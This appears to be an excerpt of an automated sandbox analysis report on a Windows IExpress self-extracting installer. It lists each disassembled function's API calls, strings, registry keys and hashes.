CreateDirectoryA.KERNELBASE(?,00000000), ref: 002A5452

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A53B7, 002A53E1, 002A541E
IXP%03d.TMP, xrefs: 002A53C0
IXP, xrefs: 002A5419

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2414463295
Opcode ID: d9659102723e113f7b9d16a214be1bb80fc4bd59166b0f3bf067e3290bf66fcd
Instruction ID: 09a76bb13a1cac3e651d423440d82500764c18546087a5c3be0c3e4ffab53215
Opcode Fuzzy Hash: d9659102723e113f7b9d16a214be1bb80fc4bd59166b0f3bf067e3290bf66fcd
Instruction Fuzzy Hash: D511EF7171061467D720AF26AC4DFAF766DEFC7721F000065B646D2190DF7489A6CAA2

Function 002A5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A556F

Part of subcall function 002A53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 002A53FB
Part of subcall function 002A53A1: GetFileAttributesA.KERNELBASE(?), ref: 002A5402
Part of subcall function 002A53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?), ref: 002A541F
Part of subcall function 002A53A1: DeleteFileA.KERNEL32(?), ref: 002A542B
Part of subcall function 002A53A1: CreateDirectoryA.KERNEL32(?,00000000), ref: 002A5434

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A547D, 002A5481, 002A54AB, 002A551C, 002A553C, 002A5568
alpha, xrefs: 002A54F0
mips, xrefs: 002A54F7
ppc, xrefs: 002A54E9
i386, xrefs: 002A54FE

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-2738818301
Opcode ID: 7ec3a0c1801fa0422c77c51eed167e2d2524e5235d45702f403fff3b7c1fc1e4
Instruction ID: f82eb552d6ed72637dde97be4c8badda29a3187f37f13977eeca3607c769ed0f
Opcode Fuzzy Hash: 7ec3a0c1801fa0422c77c51eed167e2d2524e5235d45702f403fff3b7c1fc1e4
Instruction Fuzzy Hash: 39312970F30A225BCB109F29AC4867FB79BAF83710B54016AA806C2151DFB4CE718E91

Function 002A256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,?,?,?,002A1ED3,00000001,00000000,?,?,002A4137,?), ref: 002A25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,?,?,002A1ED3,00000001,00000000,?,?,002A4137,?,002A4096), ref: 002A25CB
RegCloseKey.KERNELBASE(?,?,002A1ED3,00000001,00000000,?,?,002A4137,?,002A4096), ref: 002A25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,?,?,?,002A1ED3,00000001,00000000,?,?,002A4137,?), ref: 002A25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,002A1ED3,00000001,00000000), ref: 002A261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 002A25F5
System\CurrentControlSet\Control\Session Manager, xrefs: 002A25A8
PendingFileRenameOperations, xrefs: 002A25C3

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 94cfef05cfc2c81607650b3391a87e8277ad03189e3b2fef003a54250d1bc86d
Instruction ID: 8a89d1f7b3240d3f5b509f58a0166f304de0653f7f55145952d76b6157961b89
Opcode Fuzzy Hash: 94cfef05cfc2c81607650b3391a87e8277ad03189e3b2fef003a54250d1bc86d
Instruction Fuzzy Hash: A8113D35D62229FB9B249B959C0DDFBBF7CEF077A1F504055F808A2010DF705A68DAA1

Function 002A6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 002A7182
Part of subcall function 002A7155: GetCurrentProcessId.KERNEL32 ref: 002A7191
Part of subcall function 002A7155: GetCurrentThreadId.KERNEL32 ref: 002A719A
Part of subcall function 002A7155: GetTickCount.KERNEL32 ref: 002A71A3
Part of subcall function 002A7155: QueryPerformanceCounter.KERNEL32(?), ref: 002A71B8

GetStartupInfoW.KERNEL32(?,002A72B8,00000058), ref: 002A6A7F
Sleep.KERNEL32(000003E8), ref: 002A6AB4
_amsg_exit.MSVCRT ref: 002A6AC9
_initterm.MSVCRT ref: 002A6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 002A6B49
exit.KERNELBASE ref: 002A6BBF
_ismbblead.MSVCRT ref: 002A6BDA

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 746fff61cbacf1b449b5909eb188914693cf265f3221f689a44a5eb1363090fa
Instruction ID: 6a4ff8f0519f85232c94ab126491dcec66773c8d1654f5e990224d9b058a85b4
Opcode Fuzzy Hash: 746fff61cbacf1b449b5909eb188914693cf265f3221f689a44a5eb1363090fa
Instruction Fuzzy Hash: 5741C23197422ADFDB219F68EC0D76A77A5FB47724F18441AE941E3291CFB44C61CBA0

Function 002A58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,002A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,002A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A5943
LocalFree.KERNEL32(00000000,?,002A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A594D
CloseHandle.KERNEL32(00000000,?,002A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,002A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 002A5963

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A58CD, 002A58CF, 002A5919, 002A5962
TMP4351$.TMP, xrefs: 002A5923

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-2560997688
Opcode ID: 1483b6b1edfd6e29c8e69b12ae5ca479bb5c4500d9d2b4b87f4df26d081118d0
Instruction ID: efadda7ce1654506e31ac9320a5bf388a2bd8abfa0633e87def1cba64a7fea96
Opcode Fuzzy Hash: 1483b6b1edfd6e29c8e69b12ae5ca479bb5c4500d9d2b4b87f4df26d081118d0
Instruction Fuzzy Hash: DB11E6716102227BC7245F7AAC4DB9B7E9DEF47770F100625F50AD7191CF709825CAA0

Function 002A3FEF Relevance: 10.6, APIs: 7, Instructions: 97processsynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 002A4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 002A4049
GetExitCodeProcess.KERNELBASE(?,?), ref: 002A405C
CloseHandle.KERNEL32(?), ref: 002A409C
CloseHandle.KERNEL32(?), ref: 002A40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 002A40DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 002A40E9

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 3d5475b04de85cd033c5aa189271976b24b30263cf3199763f1b4fccb71ce671
Instruction ID: 2cb181d1ab5434fb2a5b2dfaaa0f2cee72ee3507c1e9dada1afe80c9275feb1e
Opcode Fuzzy Hash: 3d5475b04de85cd033c5aa189271976b24b30263cf3199763f1b4fccb71ce671
Instruction Fuzzy Hash: 25318131650218BBEB20AF65EC4DFABB778EBD6710F2001A9F609E1161CF709D95CE21

Function 002A51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,002A2F4D,?,00000002,00000000), ref: 002A5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 002A5250

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Part of subcall function 002A6285: GetLastError.KERNEL32(002A5BBC), ref: 002A6285

Strings

UPROMPT, xrefs: 002A51EF, 002A5230
<None>, xrefs: 002A5262

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 004217779e968cffe6983e39054833c01e380c5aadb4f7a1ec8876fcb7a8d74f
Instruction ID: 3f9cdef25d33ec42ab82b3c486aabe9f2f54ad241da57a36b284e13e3a074202
Opcode Fuzzy Hash: 004217779e968cffe6983e39054833c01e380c5aadb4f7a1ec8876fcb7a8d74f
Instruction Fuzzy Hash: DD11E2B5320612ABE3146B75AC4DB3BA19DDFCB790F104029FB06D6190DEB9CC214924

Function 002A3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,002A2F64,?,00000002,00000000), ref: 002A3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 002A3AB3

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Part of subcall function 002A6285: GetLastError.KERNEL32(002A5BBC), ref: 002A6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 002A3AD0
LocalFree.KERNEL32 ref: 002A3B13

Part of subcall function 002A6517: FindResourceA.KERNEL32(002A0000,000007D6,00000005), ref: 002A652A
Part of subcall function 002A6517: LoadResource.KERNEL32(002A0000,00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 002A6538
Part of subcall function 002A6517: DialogBoxIndirectParamA.USER32(002A0000,00000000,00000547,002A19E0,00000000), ref: 002A6557
Part of subcall function 002A6517: FreeResource.KERNEL32(00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 002A6560

LocalFree.KERNEL32(00000000,002A3100,00000000,00000000), ref: 002A3AF4

Strings

LICENSE, xrefs: 002A3A46
<None>, xrefs: 002A3AC5

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 12809900af45bcfac7dbc5c126f65f3fe47ccc67044be03df8224b0b120ca34d
Instruction ID: 546e22cc20ef0213733d165bc44a96f39a6c315bd342cc94973bdda2b511848d
Opcode Fuzzy Hash: 12809900af45bcfac7dbc5c126f65f3fe47ccc67044be03df8224b0b120ca34d
Instruction Fuzzy Hash: C71187303102116BD724AF76BC0DF1779A9DFDB710B10443EB546D51A1DFB9C8208A64

Function 002A52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(030746B0,00000080,?,00000000), ref: 002A52F2
DeleteFileA.KERNELBASE(030746B0), ref: 002A52FA
LocalFree.KERNEL32(030746B0,?,00000000), ref: 002A5305
LocalFree.KERNEL32(030746B0), ref: 002A530C
SetCurrentDirectoryA.KERNELBASE(002A11FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 002A5363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A5334

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-3699071305
Opcode ID: e3394ed1df86ca7d52f8adb13bc7baa62e202eb162e98a403a92ec59216edbad
Instruction ID: 237c68b7df11aea21bc551e50bb9ab40e938e73e9cf52f28abfb0aa4b190cbee
Opcode Fuzzy Hash: e3394ed1df86ca7d52f8adb13bc7baa62e202eb162e98a403a92ec59216edbad
Instruction Fuzzy Hash: 87219D31A20625DFDF219F24FC0DB6A77A4BF43790F14019AE846521A1DFB45CA4CF81

Function 002A1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,002A538C,?,?,002A538C), ref: 002A2005
RegDeleteValueA.KERNELBASE(002A538C,wextract_cleanup1,?,?,002A538C), ref: 002A2017
RegCloseKey.ADVAPI32(002A538C,?,?,002A538C), ref: 002A2020

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 002A1FFB
wextract_cleanup1, xrefs: 002A1FE7, 002A200F

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: 162a0e4e0cdf4f5e3c11b31f9b5f1c280f5bce0d92dc5e8012294fd389087893
Instruction ID: 8a6cf7f8f7a0a3a23261469abef4539565ae424adea0680a4071d8376cd2ff15
Opcode Fuzzy Hash: 162a0e4e0cdf4f5e3c11b31f9b5f1c280f5bce0d92dc5e8012294fd389087893
Instruction Fuzzy Hash: F6E04F30D60318FBD7218F90FC0EF69BB69EB13740F1001D4BA04A0060EF615A24D715

Function 002A4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 002A4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 002A4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A4D36, 002A4DE3

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-3699071305
Opcode ID: 743b7bafe78c13e0cde318869d79bf0e80bd6d595fddc06d335751653f92797d
Instruction ID: 4d60549e0c646c7852fc07dafcb76b85c6b49942b042138f34e6d567c1a41c13
Opcode Fuzzy Hash: 743b7bafe78c13e0cde318869d79bf0e80bd6d595fddc06d335751653f92797d
Instruction Fuzzy Hash: 524148362209029BCB25BF38DD486B5B3A5FBC7304F044669D88697185DFF1EEA6CB50

Function 002A4C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 002A4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 002A4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 002A4C7E

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 4a5e370252564b65ff9a86eddc9b04636900705c18876f1a9740e8e5024c153a
Instruction ID: 487bcf7fa569ded89d34f71aa42ec37409ee683cb7c63a3af0fa04ee1d3a8e75
Opcode Fuzzy Hash: 4a5e370252564b65ff9a86eddc9b04636900705c18876f1a9740e8e5024c153a
Instruction Fuzzy Hash: 7AF06D72621209AB9B24AFB4DC49EBB7BEDEB46350B44052BA819C1050EF70D924C7A0

Function 002A487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,002A4A23,?,002A4F67,*MEMCAB,00008000,00000180), ref: 002A48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,002A4F67,*MEMCAB,00008000,00000180), ref: 002A4902

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 48b26dfc833d1703dd674620f5779682ecb196f8ddfcdbebab819544a8f93d4c
Instruction ID: a93fadbc4439817ff1b37fe9911816f903109de07da8fbfe5773982e2b856734
Opcode Fuzzy Hash: 48b26dfc833d1703dd674620f5779682ecb196f8ddfcdbebab819544a8f93d4c
Instruction Fuzzy Hash: 68014BA3E226712BF32460295C89FB7551CCBD7734F1B0335BDAAE75D1DAA89C2481E0

Function 002A4AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002A3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 002A369F
Part of subcall function 002A3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002A36B2
Part of subcall function 002A3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002A36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 002A4B05

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
